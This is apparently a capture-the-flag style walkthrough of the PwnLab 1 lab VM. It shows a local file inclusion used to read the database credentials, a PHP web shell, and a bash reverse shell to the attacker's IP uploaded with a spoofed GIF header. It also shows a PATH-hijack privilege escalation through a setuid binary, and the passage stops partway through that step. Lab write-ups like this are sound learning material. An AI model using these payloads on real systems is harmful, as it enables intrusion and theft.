Pwnlab 1
I've finally settled in and am back on my old machine - so first things first today I have to re-download the Kali image and setup my virtual network again. That took me about 10 minutes or so. Onto the fun stuff:
└─$ sudo nmap -nP 10.10.10.0/24
[sudo] password for kali:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-28 20:41 EST
Nmap scan report for 10.10.10.1
Host is up (0.00020s latency).
All 1000 scanned ports on 10.10.10.1 are filtered
MAC Address: 08:00:27:DC:72:D4 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.3
Host is up (0.00028s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
3306/tcp open mysql
MAC Address: 08:00:27:BE:4B:47 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.4
Host is up (0.0000020s latency).
All 1000 scanned ports on 10.10.10.4 are closed
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.32 seconds
└─$ nikto --host 10.10.10.3 --port 80 130 ⨯
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.3
+ Target Hostname: 10.10.10.3
+ Target Port: 80
+ Start Time: 2021-01-28 20:42:13 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Cookie PHPSESSID created without the httponly flag
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7863 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2021-01-28 20:43:10 (GMT-5) (57 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
└─$ curl 10.10.10.3
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
Use this server to upload and share image files inside the intranet</center>
</body>
</html>
└─$ curl 10.10.10.3/config.php
Digging around the site as a user: Surely we can just inject on this login section, get a login, upload a reverse shell, execute it from /images and we're done... I tried for quite a long time running sqlmap while also manually entering things on a browser. I tried also on the ?page= url parameter, no luck! So, I went back to what I knew - the few browser endpoints we have. I fired up Zap and started trying all the endpoints with different request methods, stripping out the PHP session, all that sort of thing. To no avail. What else do we know? The server has a form and a URL parameter we can tamper with... I'm sick of the login form, so let's see if I can learn something new with the URL parameter. Searching around for php vulnerabilities with URL parameters, it obviously first depends on what that URL parameter is doing... Been a while since I wrote PHP but this is basically what I think is going on here:
<?php
switch ($_GET['page']) {
case "login":
$content = "<div>Login</div>";
break;
case "upload":
$content = "<div>Upload</div>";
break;
// If you enter random parameter the middle of the page is just blank (no content loaded)
default:
break;
}
// Inject this content into a larger template and return it...
return $content
?>
So, we could potentially have a PHP Injection vector if the input isn't being sanitized? I tried some shit:
- http://10.10.10.3/?page=login;phpinfo();
- http://10.10.10.3/?page=login;phpinfo();--
- http://10.10.10.3/?page=login%27;phpinfo();--
- http://10.10.10.3/?page=login%27;phpinfo();// And so on... no luck though. For now I'm going to assume this string is properly sanitized. What if within the switch statement, it's loading a file?
...
$content = file_get_contents("login.html");
Or maybe even it's like this:
$content = file_get_contents($_GET['page']+".html");
Or this:
include($_GET['page']+".php");
I tried switching the content to the config page... no dice. It mustn't be as simple as I think. I kept playing with this...
- http://10.10.10.3/?page=/etc/passwd
- http://10.10.10.3/?page=/images/pwnlab.png Nothing.. hmm. I fired up burpsuite to intercept the traffic and see if I could get a sense of how the parameter is being handled, and look at this:
# Request URL: 10.10.10.3/?page=login
GET /v1/pages/Chc2LjEuMTcxNS4xNDQyL2VuIChHR0xMKRIzCfSKYNf6qh5qEhENCIRn8RIEdXNlchoEdGV4dBIVDcWTxCQSBHBhc3MaCHBhc3N3b3Jk?alt=proto HTTP/1.1
# Request: GET /?page=testing HTTP/1.1
# Nothing
# Request: GET /?page=upload HTTP/1.1
What is this string... Is it base64?
$ echo "Chc2LjEuMTcxNS4xNDQyL2VuIChHR0xMKRIzCfSKYNf6qh5qEhENCIRn8RIEdXNlchoEdGV4dBIVDcWTxCQSBHBhc3MaCHBhc3N3b3Jk" | base64 --decode
œ□$↕♦passpassword (GGLL)↕3 □□`□□□▲j↕◄
Now I can't even reproduce that result? How did I even get that? I looked back in my http history in burp... it was a google autofill. Yikes, I need another coffee. I read some shit about LFI while my coffee brewed:
- https://www.netsparker.com/blog/web-security/local-file-inclusion-vulnerability/
- https://highon.coffee/blog/lfi-cheat-sheet/
The highon coffee domain just seemed way too relevant... I tried some things they have on the page.
?page=expect://ls
We don't have any feedback so this one would be difficult to detect I think? Move on for now...?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd
This payload assumes a specific path - i tried it for fun but it of course didn't work. I tried a few more files that I think I know the location of: ?page=php://filter/convert.base64-encode/resource=.htaccess
http://10.10.10.3/?page=php://filter/convert.base64-encode/resource=login
We got a response on the page! I don't fully understand what this filter does yet, but it's obviously returning the base64 encoding of the page, right?
$ echo "PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnJlcXVpcmUoImNvbmZpZy5waHAiKTsNCiRteXNxbGkgPSBuZXcgbXlzcWxpKCRzZXJ2ZXIsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGF0YWJhc2UpOw0KDQppZiAoaXNzZXQoJF9QT1NUWyd1c2VyJ10pIGFuZCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpDQp7DQoJJGx1c2VyID0gJF9QT1NUWyd1c2VyJ107DQoJJGxwYXNzID0gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ3Bhc3MnXSk7DQoNCgkkc3RtdCA9ICRteXNxbGktPnByZXBhcmUoIlNFTEVDVCAqIEZST00gdXNlcnMgV0hFUkUgdXNlcj0/IEFORCBwYXNzPT8iKTsNCgkkc3RtdC0+YmluZF9wYXJhbSgnc3MnLCAkbHVzZXIsICRscGFzcyk7DQoNCgkkc3RtdC0+ZXhlY3V0ZSgpOw0KCSRzdG10LT5zdG9yZV9SZXN1bHQoKTsNCg0KCWlmICgkc3RtdC0+bnVtX3Jvd3MgPT0gMSkNCgl7DQoJCSRfU0VTU0lPTlsndXNlciddID0gJGx1c2VyOw0KCQloZWFkZXIoJ0xvY2F0aW9uOiA/cGFnZT11cGxvYWQnKTsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobyAiTG9naW4gZmFpbGVkLiI7DQoJfQ0KfQ0KZWxzZQ0Kew0KCT8+DQoJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQoJPGxhYmVsPlVzZXJuYW1lOiA8L2xhYmVsPjxpbnB1dCBpZD0idXNlciIgdHlwZT0idGVzdCIgbmFtZT0idXNlciI+PGJyIC8+DQoJPGxhYmVsPlBhc3N3b3JkOiA8L2xhYmVsPjxpbnB1dCBpZD0icGFzcyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjxiciAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQoJPD9waHANCn0NCg==" | base64 --decode
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
Oh hell yes! Now, reading this code, config.php obviously contains the SQL credentials... So i used our LFI vector to get that file:
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
Easy money! Now, let's login to that wide open SQL port we saw earlier:
$ mysql -h 10.10.10.3 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 3157
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Users |
+--------------------+
2 rows in set (0.000 sec)
MySQL [(none)]> USE Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.000 sec)
MySQL [Users]> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.000 sec)
Cool! We don't have an open SSH port though, so I'm just going to upload a shell and try to get something to execute it... We know we have that /images page, so let's dump a php shell there. We should be able to use the following query:
Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
But I just realized, we don't exactly know where we are... What if we just login as one of those users and upload from there?
$ echo "Sld6WHVCSkpOeQ==" | base64 --decode
JWzXuBJJNy
$ echo '<?php echo shell_exec($_GET['cmd']);?>' > shell.php
Okay, not going to be that easy. And If I just rename it to jpg... Wait, I can just read the source of this page!
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
Okay so, I think we can just call our shell shell.php.gif
, upload it, intercept the request and play with it until we don't get an error? Let's try:
So, adding GIF89a; to the top of the file payload produced no errors, but the file isn't displayed at /images. What could have happened?
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
# $uploadfile = ?/images/b1a99ebaad4dd28f57517de36e770484.gif
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
# move_uploaded_file ( string $from , string $to ) : bool
# We get True back because we didn't get Error 4
I decided to upload an actual image just to see what happens: Okay, so the image doesn't actually make it to the /images index at all but it does inject on the page...
...
</body>
</html>
<img src="upload/e22248cd97709c7051acd7e60a3eb9a8.png"><br /></center>
...
OH, it's not going to /images it's going to /upload. Perhaps we can actually execute our old attempt afterall at /upload/b1a99ebaad4dd28f57517de36e770484.gif
Hmm, our proper image is loaded there but I don't see our shell. Going back in our HTTP history I don't see an image response for our shell upload so something must've caused a crash without us getting an error back.
I tried uploading the working PNG, intercepting and changing the image payload to:
PNG
"><script>alert();</script>;//
This overwrote the existing image with a image that did nothing, but I think we're getting there... let's try injecting a shell here? No luck. I started searching around for how to abuse this, and found this page:
- https://gobiasinfosec.blog/2019/12/24/file-upload-attacks-php-reverse-shell/
I decided the Hex edit path was worth trying...
I added four bytes to the start of the file with the JPG Magic Number
FF D8 FF E0
, renamed the file to shell.jpg. Now we upload this .jpg file, however it didn't work even without interception, so I failed the magic number somehow. The magic number basically just spoofs our MIME type. We got Error 2 so we failed to Spoof. So, I tried setting it as a gif MIME type with magic number47 49 46 38
. That worked! Our shell is on the /upload page as a .gif extension, but will it execute? Probably not. Maybe I'm over complicating this? I decided to try to just get code injection using the filename by editing intercepting and changing the filename as such:
Content-Disposition: form-data; name="file"; filename=");print('test');//.gif"
It worked and uploaded a file... Let's try echoing content to the page to actually test this? yeah no this doesn't actually work... Hmmm. I don't really know where else to go with this, let's go back to our LFI and try to read some more files and see if we get any more hints... Index.php
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
Holy shit wait look at that: include($_GET['page'].".php");
Can't we just use that to load our .gif as .php?!
Also:
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
We can just mess with this Cookie and include our gif as a php file, maybe?
Let's try the first route:
http://10.10.10.3/?page=uploads/03a46779cf1ed515b29e1c471efd4c0f.gif&c=whoami
I uploaded the shell as .gif, and tried feeding page the path of the shell (which should load it as .php file) and then passing a command to the shell via c parameter. No dice.
Maybe it's just not dumping out the output though, let's try just uploading a PHP reverse shell. Surely this is actually including our PHP file, right?
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.4/4444 0>&1'"); ?>
Hexedit to add magic number...
$ hexeditor -b nc.php
Uploaded... Started NC listener... Tried to get it to execute... no dice! Alright, let's see if we can achieve something with that lang cookie. Hilariously, the first thing I tried worked!!! Finally! I simply included the gif file by intercepting the request and editing the cookie like this:
$ sudo nc -lvp 4444
[sudo] password for kali:
listening on [any] 4444 ...
10.10.10.3: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.3] 53491
bash: cannot set terminal process group (486): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pwnlab:/var/www/html$ whoami
whoami
www-data
Alright now for the easy part, I think we already have root password?
www-data@pwnlab:/var/www/html$ su root
su root
su: must be run from a terminal
www-data@pwnlab:/var/www/html$ which python
which python
/usr/bin/python
www-data@pwnlab:/var/www/html$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@pwnlab:/var/www/html$ su root
su root
Password: H4u%QJ_H99
su: Authentication failure
Damn, won't be that easy.
www-data@pwnlab:/var/www/html$ su kent
su kent
Password: JWzXuBJJNy
kent@pwnlab:/var/www/html$ cd ~
cd ~
kent@pwnlab:~$ ls -al
ls -al
total 20
drwxr-x--- 2 kent kent 4096 Mar 17 2016 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 kent kent 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kent kent 3515 Mar 17 2016 .bashrc
-rw-r--r-- 1 kent kent 675 Mar 17 2016 .profile
kent@pwnlab:~$ sudo -l
sudo -l
bash: sudo: command not found
kent@pwnlab:~$ su mike
su mike
Password: SIfdsTEn6I
su: Authentication failure
kent@pwnlab:~$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:/home/kent$ cd ~
cd ~
kane@pwnlab:~$ ls -al
ls -al
total 28
drwxr-x--- 2 kane kane 4096 Mar 17 2016 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~$ strings msgmike
strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
QVh[
[^_]
cat /home/mike/msg.txt
;*2$\"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
msgmike.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
_edata
_fini
__data_start
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
setreuid@@GLIBC_2.0
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
__bss_start
main
setregid@@GLIBC_2.0
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
_init
kane@pwnlab:~$ objdump -d msgmike > disassembly.asm
objdump -d msgmike > disassembly.asm
kane@pwnlab:~$ cat disassembly.asm
cat disassembly.asm
msgmike: file format elf32-i386
Disassembly of section .init:
080482d8 <_init>:
80482d8: 53 push %ebx
80482d9: 83 ec 08 sub $0x8,%esp
80482dc: e8 af 00 00 00 call 8048390 <__x86.get_pc_thunk.bx>
80482e1: 81 c3 57 14 00 00 add $0x1457,%ebx
80482e7: 8b 83 fc ff ff ff mov -0x4(%ebx),%eax
80482ed: 85 c0 test %eax,%eax
80482ef: 74 05 je 80482f6 <_init+0x1e>
80482f1: e8 2a 00 00 00 call 8048320 <__gmon_start__@plt>
80482f6: 83 c4 08 add $0x8,%esp
80482f9: 5b pop %ebx
80482fa: c3 ret
Disassembly of section .plt:
08048300 <system@plt-0x10>:
8048300: ff 35 3c 97 04 08 pushl 0x804973c
8048306: ff 25 40 97 04 08 jmp *0x8049740
804830c: 00 00 add %al,(%eax)
...
08048310 <system@plt>:
8048310: ff 25 44 97 04 08 jmp *0x8049744
8048316: 68 00 00 00 00 push $0x0
804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x28>
08048320 <__gmon_start__@plt>:
8048320: ff 25 48 97 04 08 jmp *0x8049748
8048326: 68 08 00 00 00 push $0x8
804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x28>
08048330 <setreuid@plt>:
8048330: ff 25 4c 97 04 08 jmp *0x804974c
8048336: 68 10 00 00 00 push $0x10
804833b: e9 c0 ff ff ff jmp 8048300 <_init+0x28>
08048340 <__libc_start_main@plt>:
8048340: ff 25 50 97 04 08 jmp *0x8049750
8048346: 68 18 00 00 00 push $0x18
804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x28>
08048350 <setregid@plt>:
8048350: ff 25 54 97 04 08 jmp *0x8049754
8048356: 68 20 00 00 00 push $0x20
804835b: e9 a0 ff ff ff jmp 8048300 <_init+0x28>
Disassembly of section .text:
08048360 <_start>:
8048360: 31 ed xor %ebp,%ebp
8048362: 5e pop %esi
8048363: 89 e1 mov %esp,%ecx
8048365: 83 e4 f0 and $0xfffffff0,%esp
8048368: 50 push %eax
8048369: 54 push %esp
804836a: 52 push %edx
804836b: 68 20 85 04 08 push $0x8048520
8048370: 68 b0 84 04 08 push $0x80484b0
8048375: 51 push %ecx
8048376: 56 push %esi
8048377: 68 5b 84 04 08 push $0x804845b
804837c: e8 bf ff ff ff call 8048340 <__libc_start_main@plt>
8048381: f4 hlt
8048382: 66 90 xchg %ax,%ax
8048384: 66 90 xchg %ax,%ax
8048386: 66 90 xchg %ax,%ax
8048388: 66 90 xchg %ax,%ax
804838a: 66 90 xchg %ax,%ax
804838c: 66 90 xchg %ax,%ax
804838e: 66 90 xchg %ax,%ax
08048390 <__x86.get_pc_thunk.bx>:
8048390: 8b 1c 24 mov (%esp),%ebx
8048393: c3 ret
8048394: 66 90 xchg %ax,%ax
8048396: 66 90 xchg %ax,%ax
8048398: 66 90 xchg %ax,%ax
804839a: 66 90 xchg %ax,%ax
804839c: 66 90 xchg %ax,%ax
804839e: 66 90 xchg %ax,%ax
080483a0 <deregister_tm_clones>:
80483a0: b8 63 97 04 08 mov $0x8049763,%eax
80483a5: 2d 60 97 04 08 sub $0x8049760,%eax
80483aa: 83 f8 06 cmp $0x6,%eax
80483ad: 76 1a jbe 80483c9 <deregister_tm_clones+0x29>
80483af: b8 00 00 00 00 mov $0x0,%eax
80483b4: 85 c0 test %eax,%eax
80483b6: 74 11 je 80483c9 <deregister_tm_clones+0x29>
80483b8: 55 push %ebp
80483b9: 89 e5 mov %esp,%ebp
80483bb: 83 ec 14 sub $0x14,%esp
80483be: 68 60 97 04 08 push $0x8049760
80483c3: ff d0 call *%eax
80483c5: 83 c4 10 add $0x10,%esp
80483c8: c9 leave
80483c9: f3 c3 repz ret
80483cb: 90 nop
80483cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
080483d0 <register_tm_clones>:
80483d0: b8 60 97 04 08 mov $0x8049760,%eax
80483d5: 2d 60 97 04 08 sub $0x8049760,%eax
80483da: c1 f8 02 sar $0x2,%eax
80483dd: 89 c2 mov %eax,%edx
80483df: c1 ea 1f shr $0x1f,%edx
80483e2: 01 d0 add %edx,%eax
80483e4: d1 f8 sar %eax
80483e6: 74 1b je 8048403 <register_tm_clones+0x33>
80483e8: ba 00 00 00 00 mov $0x0,%edx
80483ed: 85 d2 test %edx,%edx
80483ef: 74 12 je 8048403 <register_tm_clones+0x33>
80483f1: 55 push %ebp
80483f2: 89 e5 mov %esp,%ebp
80483f4: 83 ec 10 sub $0x10,%esp
80483f7: 50 push %eax
80483f8: 68 60 97 04 08 push $0x8049760
80483fd: ff d2 call *%edx
80483ff: 83 c4 10 add $0x10,%esp
8048402: c9 leave
8048403: f3 c3 repz ret
8048405: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
08048410 <__do_global_dtors_aux>:
8048410: 80 3d 60 97 04 08 00 cmpb $0x0,0x8049760
8048417: 75 13 jne 804842c <__do_global_dtors_aux+0x1c>
8048419: 55 push %ebp
804841a: 89 e5 mov %esp,%ebp
804841c: 83 ec 08 sub $0x8,%esp
804841f: e8 7c ff ff ff call 80483a0 <deregister_tm_clones>
8048424: c6 05 60 97 04 08 01 movb $0x1,0x8049760
804842b: c9 leave
804842c: f3 c3 repz ret
804842e: 66 90 xchg %ax,%ax
08048430 <frame_dummy>:
8048430: b8 48 96 04 08 mov $0x8049648,%eax
8048435: 8b 10 mov (%eax),%edx
8048437: 85 d2 test %edx,%edx
8048439: 75 05 jne 8048440 <frame_dummy+0x10>
804843b: eb 93 jmp 80483d0 <register_tm_clones>
804843d: 8d 76 00 lea 0x0(%esi),%esi
8048440: ba 00 00 00 00 mov $0x0,%edx
8048445: 85 d2 test %edx,%edx
8048447: 74 f2 je 804843b <frame_dummy+0xb>
8048449: 55 push %ebp
804844a: 89 e5 mov %esp,%ebp
804844c: 83 ec 14 sub $0x14,%esp
804844f: 50 push %eax
8048450: ff d2 call *%edx
8048452: 83 c4 10 add $0x10,%esp
8048455: c9 leave
8048456: e9 75 ff ff ff jmp 80483d0 <register_tm_clones>
0804845b <main>:
804845b: 8d 4c 24 04 lea 0x4(%esp),%ecx
804845f: 83 e4 f0 and $0xfffffff0,%esp
8048462: ff 71 fc pushl -0x4(%ecx)
8048465: 55 push %ebp
8048466: 89 e5 mov %esp,%ebp
8048468: 51 push %ecx
8048469: 83 ec 04 sub $0x4,%esp
804846c: 83 ec 08 sub $0x8,%esp
804846f: 68 ea 03 00 00 push $0x3ea
8048474: 68 ea 03 00 00 push $0x3ea
8048479: e8 b2 fe ff ff call 8048330 <setreuid@plt>
804847e: 83 c4 10 add $0x10,%esp
8048481: 83 ec 08 sub $0x8,%esp
8048484: 68 ea 03 00 00 push $0x3ea
8048489: 68 ea 03 00 00 push $0x3ea
804848e: e8 bd fe ff ff call 8048350 <setregid@plt>
8048493: 83 c4 10 add $0x10,%esp
8048496: 83 ec 0c sub $0xc,%esp
8048499: 68 40 85 04 08 push $0x8048540
804849e: e8 6d fe ff ff call 8048310 <system@plt>
80484a3: 83 c4 10 add $0x10,%esp
80484a6: 8b 4d fc mov -0x4(%ebp),%ecx
80484a9: c9 leave
80484aa: 8d 61 fc lea -0x4(%ecx),%esp
80484ad: c3 ret
80484ae: 66 90 xchg %ax,%ax
080484b0 <__libc_csu_init>:
80484b0: 55 push %ebp
80484b1: 57 push %edi
80484b2: 31 ff xor %edi,%edi
80484b4: 56 push %esi
80484b5: 53 push %ebx
80484b6: e8 d5 fe ff ff call 8048390 <__x86.get_pc_thunk.bx>
80484bb: 81 c3 7d 12 00 00 add $0x127d,%ebx
80484c1: 83 ec 1c sub $0x1c,%esp
80484c4: 8b 6c 24 30 mov 0x30(%esp),%ebp
80484c8: 8d b3 0c ff ff ff lea -0xf4(%ebx),%esi
80484ce: e8 05 fe ff ff call 80482d8 <_init>
80484d3: 8d 83 08 ff ff ff lea -0xf8(%ebx),%eax
80484d9: 29 c6 sub %eax,%esi
80484db: c1 fe 02 sar $0x2,%esi
80484de: 85 f6 test %esi,%esi
80484e0: 74 27 je 8048509 <__libc_csu_init+0x59>
80484e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80484e8: 8b 44 24 38 mov 0x38(%esp),%eax
80484ec: 89 2c 24 mov %ebp,(%esp)
80484ef: 89 44 24 08 mov %eax,0x8(%esp)
80484f3: 8b 44 24 34 mov 0x34(%esp),%eax
80484f7: 89 44 24 04 mov %eax,0x4(%esp)
80484fb: ff 94 bb 08 ff ff ff call *-0xf8(%ebx,%edi,4)
8048502: 83 c7 01 add $0x1,%edi
8048505: 39 f7 cmp %esi,%edi
8048507: 75 df jne 80484e8 <__libc_csu_init+0x38>
8048509: 83 c4 1c add $0x1c,%esp
804850c: 5b pop %ebx
804850d: 5e pop %esi
804850e: 5f pop %edi
804850f: 5d pop %ebp
8048510: c3 ret
8048511: eb 0d jmp 8048520 <__libc_csu_fini>
8048513: 90 nop
8048514: 90 nop
8048515: 90 nop
8048516: 90 nop
8048517: 90 nop
8048518: 90 nop
8048519: 90 nop
804851a: 90 nop
804851b: 90 nop
804851c: 90 nop
804851d: 90 nop
804851e: 90 nop
804851f: 90 nop
08048520 <__libc_csu_fini>:
8048520: f3 c3 repz ret
Disassembly of section .fini:
08048524 <_fini>:
8048524: 53 push %ebx
8048525: 83 ec 08 sub $0x8,%esp
8048528: e8 63 fe ff ff call 8048390 <__x86.get_pc_thunk.bx>
804852d: 81 c3 0b 12 00 00 add $0x120b,%ebx
8048533: 83 c4 08 add $0x8,%esp
8048536: 5b pop %ebx
8048537: c3 ret
At this point I read the assembly for a while, and realized that I can probably just make this execute my own binary as Mike?
$ echo "whoami" > cat
$ export PATH=.:$PATH
kane@pwnlab:~$ ./msgmike
./msgmike
sh: 1: cat: Permission denied
Yeah that's going to work, I think I just forgot to set executable bit...
$ chmod +x cat
$ ./msgmike
./msgmike
mike
Okay, now we can just give our selves access to his home directory:
kane@pwnlab:~$ echo "chown -R kane:kane /home/mike" > cat
echo "chown -R kane:kane /home/mike" > cat
kane@pwnlab:~$ ./msgmike
./msgmike
chown: changing ownership of ‘/home/mike/msg2root’: Operation not permitted
chown: changing ownership of ‘/home/mike/.bashrc’: Operation not permitted
chown: changing ownership of ‘/home/mike/.profile’: Operation not permitted
chown: changing ownership of ‘/home/mike/.bash_logout’: Operation not permitted
chown: changing ownership of ‘/home/mike’: Operation not permitted
# Okay we cant run chown I guess
kane@pwnlab:~$ echo "chmod -R o+rwx /home/mike" > cat
echo "chmod -R o+rwx /home/mike" > cat
kane@pwnlab:~$ ./msgmike
./msgmike
chmod: changing permissions of ‘/home/mike/msg2root’: Operation not permitted
kane@pwnlab:~$ cd /home/mike
cd /home/mike
kane@pwnlab:/home/mike$ ls -al
ls -al
total 28
drwxr-xrwx 2 mike mike 4096 Mar 17 2016 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--rwx 1 mike mike 220 Mar 17 2016 .bash_logout
-rw-r--rwx 1 mike mike 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root
